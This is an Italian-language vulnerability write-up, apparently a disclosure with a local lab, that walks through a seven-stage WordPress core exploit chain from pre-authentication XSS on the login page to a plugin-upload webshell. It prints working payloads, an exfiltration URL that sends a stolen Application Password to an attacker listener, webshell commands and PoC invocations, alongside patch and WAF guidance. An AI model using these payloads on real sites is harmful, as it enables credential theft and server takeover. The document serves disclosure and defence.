Solo test autorizzati.
Tutto ciò che segue è stato eseguito contro un laboratorio locale (WordPress 7.0.2 su localhos). Non utilizzare queste tecniche contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test.
Riepilogo esecutivo
XSS2Shell non è un singolo bug — è una catena di exploit in sette fasi che inizia con un carattere (< seguito da uno spazio) che aggira due diversi parser HTML nella pagina di accesso di WordPress, e termina con PHP in esecuzione sul server come www-data.
Cosa la rende pericolosa:
- La fase 1 non richiede alcuna autenticazione — chiunque può attivare JavaScript su
wp-login.php. - Risiede nel Core di WordPress — non in un plugin; praticamente ogni installazione supportata dal 2016 è interessata.
- Utilizza il codice di WordPress stesso —
user-profile.js, REST JSONP, Password Applicazione, caricamento plugin — come gadget. - RCE completo dimostrato e riconosciuto da WordPress — sebbene richieda di indurre un amministratore autenticato a fare un solo clic.
Questo articolo illustra ogni fase con screenshot dal nostro laboratorio locale.
L'ambiente di laboratorio
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 su http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Ogni sito WordPress espone /wp-login.php. Quella pagina è il punto di ingresso dell'intera catena.
Stage 0 Il differenziale del parser (causa radice)
Quando il login fallisce, WordPress visualizza il nome utente inviato all'interno di un messaggio di errore. Il nome utente passa attraverso due sanitizzatori che non concordano su cosa sia un "tag":
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Il payload utilizza uno spazio dopo<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XSu WordPress 7.0.2 vulnerabile, questo sopravvive alla sanitizzazione e diventa DOM attivo:
./scripts/demo-parser-diff.sh http://localhost:9080
Su WordPress 7.0.4 patchato, lo stesso payload viene codificato in HTML nel messaggio di errore — nessun elemento attivo.
Questo bug esiste dal WordPress 4.7 (2016) ed è sfuggito a anni di audit di sicurezza.
Stage 1 XSS pre-autenticazione (nessun login richiesto)
I nodi DOM iniettati corrispondono ai selettori che il user-profile.js nativo di WordPress cerca sulla pagina di login (caricato per il flusso di reimpostazione della password):
.reset-pass-submit .wp-generate-pwviene cliccato automaticamente al caricamento della pagina- Il click si propaga al gestore delegato di
#color-picker - Il controllo della guardia
user_id === checkuser_idviene superato perché entrambi sonoundefined - jQuery invia una POST ad
ajaxurl— maajaxurlnon esiste sulla pagina di login…
A meno che non lo clobberasse:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>L'elemento <area id=ajaxurl> diventa window.ajaxurl. jQuery chiama .toString() → restituisce href. WordPress REST restituisce JSONP → jQuery globalEval() → alert()viene eseguito sull'origine WordPress.

Invia il modulo (o apri demo/stage1-preauth-xss.html e clicca Esegui Fase 1):

Impatto a questo stadio da solo: phishing delle credenziali sul dominio reale, session riding, chiamate API same-origin — senza alcuna autenticazione.
Stage 2 Ingegneria sociale — il clic dell'amministratore
Le fasi 2–7 richiedono che un amministratore autenticato apra una pagina controllata dall'attaccante. Questo è il limite che mantiene il CVSS sotto 10 — ma è realistico per attacchi mirati.
L'amministratore potrebbe ricevere: "La tua sessione è scaduta — clicca qui per autenticarti di nuovo."

Quando cliccata, la pagina dell'attaccante:
- Apre un popup figlio (
about:blank) - Reindirizza la finestra principale alla pagina di autorizzazione delle Application Password di WordPress
- Scrive un form XSS nella finestra popup figlia e lo invia automaticamente a
wp-login.php

Fase 3: Same-Origin Method Execution (SOME) — approvazione automatica
Il payload XSS della finestra figlia modifica il callback JSONP da alert a:
window.opener.approve.clickWordPress REST avvolge la risposta:
/**/window.opener.approve.click({...})Il runtime risolve window.opener (finestra padre) → .approve (il pulsante #approve) → .click(). Il pulsante Approva delle Application Password viene cliccato automaticamente — senza alcuna interazione dell'utente su quella pagina.

Notare l'URL di callback nella pagina: le credenziali verranno inviate a http://127.0.0.1:9090/callback?...&password=[------].
Fase 4: Acquisizione della password applicazione
WordPress crea una nuova password applicazione e reindirizza alla success_url dell'attaccante con la credenziale nella stringa di query:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXL'attaccante ora dispone delle credenziali HTTP Basic auth per le REST API di WordPress — ottenute dalla sessione dell'amministratore, senza che l'amministratore abbia digitato nulla dopo il clic iniziale sul link.
Fase 5: Pubblicazione della pagina controllata dall'attaccante
Utilizzando la password applicazione rubata, l'attaccante invia una richiesta POST a /wp-json/wp/v2/pages e pubblica una pagina con JavaScript incorporato. Gli amministratori dispongono della capacità unfiltered_html — i tag script sopravvivono.
Fase 6: Caricamento del plugin tramite sessione amministratore
Il JavaScript dell'attaccante (in esecuzione nel browser dell'amministratore sulla pagina pubblicata):
- Recupera
/wp-admin/plugin-install.php?tab=uploadper il nonce di caricamento - Invia tramite POST un file ZIP malevolo a
/wp-admin/update.php?action=upload-plugin - WordPress lo estrae in
wp-content/plugins/xss2shell/
Il plugin non deve essere attivato. I file PHP nella directory del plugin sono direttamente accessibili via web.
Fase 7: Esecuzione di codice remoto
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiRisposta:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
L'attaccante esegue ora comandi arbitrari come utente del server web — legge wp-config.php (credenziali del database), scarica il database, si sposta lateralmente.
Output completo del terminale PoC:

La catena completa in sintesi
sequenceDiagram participant A as Server attaccante participant V as Browser vittima participant W as WordPress 7.0.2 Note over V,W: L'admin è autenticato V->>A: Apre il link di phishing (1 clic) A->>V: HTML attaccante + popup figlio V->>W: Finestra principale → authorize-application.php V->>W: Il figlio invia via POST il payload XSS a wp-login.php W->>V: JSONP esegue window.opener.approve.click Note over V,W: Pulsante Approva cliccato automaticamente W->>A: Redirect con Application Password A->>W: REST API pubblica pagina (Basic auth) V->>W: L'admin visita la pagina → carica il plugin ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-dataQuanto è realmente pericoloso?
Cosa è garantito (alta confidenza)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Cosa richiede condizioni aggiuntive (percorso RCE)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Calibrazione della gravità
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
In sintesi: Questa non è una RCE zero-click wormable come Log4Shell. È una vulnerabilità tecnica a livello Core che colpisce circa il 43% del web in cui:
- La sola Fase 1 è un grave XSS pre-autenticazione sulla pagina di login
- La catena completa converte un singolo clic dell'amministratore in una compromissione del server
- La causa principale (differenziale di parsing) si applica a qualsiasi codebase che utilizza più parser HTML
Il proprio advisory di WordPress afferma che l'RCE richiede "condizioni al di fuori del controllo dell'attaccante" e "un social engineering riuscito." È accurato — ma la catena dimostrata rende tali condizioni raggiungibili con un singolo link.
Riprodurre l'intera catena in locale
# 1. Avvia il lab make up # 2. Abilita le Application Password su HTTP (solo lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Avvia il listener PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Nel browser: # a. Accedi come admin su http://localhost:9080/wp-login.php # b. Apri http://127.0.0.1:9091/phishing-sim.html # c. Clicca "Apri pagina attaccante" (consenti i popup) # d. Attendi l'output nel terminale con shell + whoamiDifesa
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
La correzione aggiunge esc_html() al nome utente nel percorso di errore di accesso — assicurando che la stringa venga trattata come testo e non reinterpretata come HTML.
Perché questo è importante per la ricerca sulla sicurezza
Ogni anello della catena è individualmente banale:
- Differenziale del parser → problema di manutenzione a bassa gravità
- Script errato caricato nella pagina di accesso → basso
- Callback JSONP validato tramite regex → medio
- Password applicazione nell'URL di reindirizzamento → medio
- La directory dei plugin esegue PHP senza attivazione → design noto
Assemblati, raggiungono CVSS 8.9 e una shell.
La lezione: quando si valutano i risultati XSS, chiedersi "cosa è già caricato su questa pagina e cosa farà se gli fornisco i nodi DOM giusti?" La gravità è una proprietà della catena, non del singolo bug.

